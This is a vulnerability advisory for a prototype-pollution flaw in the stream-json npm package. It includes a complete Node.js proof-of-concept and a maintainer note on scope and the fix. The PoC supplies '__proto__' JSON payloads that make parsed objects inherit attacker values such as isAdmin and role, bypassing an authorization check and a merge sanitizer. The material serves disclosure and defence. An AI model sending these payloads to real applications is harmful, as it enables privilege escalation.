Summary

A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.

Details

The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a proto key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.

PoC

Run:

node poc-stream-json-proto-injection.mjs

Full proof-of-concept source (poc-stream-json-proto-injection.mjs):

// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys
// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)
// Root cause: Assembler builds every object as a plain `Object` and writes
//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,
//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)
// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change
// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)
import { parser } from 'stream-json';
import jsoncParser from 'stream-json/jsonc/Parser.js';
import { streamValues } from 'stream-json/streamers/stream-values.js';
import { streamObject } from 'stream-json/streamers/stream-object.js';
import { Readable } from 'node:stream';

const sv = (input, P = parser) => new Promise((res, rej) => {
  const vals = [];
  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())
    .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej);
});
const so = (input) => new Promise((res, rej) => {
  const out = {};
  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())
    .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej);
});

let pass = 0, fail = 0;
const check = (name, cond) => { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };

const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}';
const baseline = JSON.parse(INPUT);
const sv1 = (await sv(INPUT))[0];
const so1 = await so(INPUT);
const jc1 = (await sv(INPUT, jsoncParser))[0];
const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user;
const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0];
const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0];
const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0];

console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');
check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]');
check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}');
check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));
check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);
check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser');
check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);
check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2);
check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]');
check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]');

console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');
check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));
check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);
check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);

console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');
check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role');
check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3);

console.log('== D. FAIL-CLOSED CONTROLS ==');
check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1);
check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined);
check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined);

console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');
const authorize = o => o.isAdmin === true && o.role === 'superuser';
check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);
check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);
const target = { theme: 'light' };
for (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)
check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',
      Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true);
const t2 = { theme: 'light' };
for (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean
check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));

console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`);
process.exit(fail ? 1 : 0);

Observed output (verbatim, Node 24.15.0, Windows):

RESULT: 21 PASS / 0 FAIL

Impact

Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists.

Maintainer note on scope

The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global Object.prototype); "__proto__": null additionally strips Object.prototype from the parsed object, so ordinary consumer code calling hasOwnProperty() throws. Assembler and FlexAssembler now create an own data property for a __proto__ key, exactly as JSON.parse does.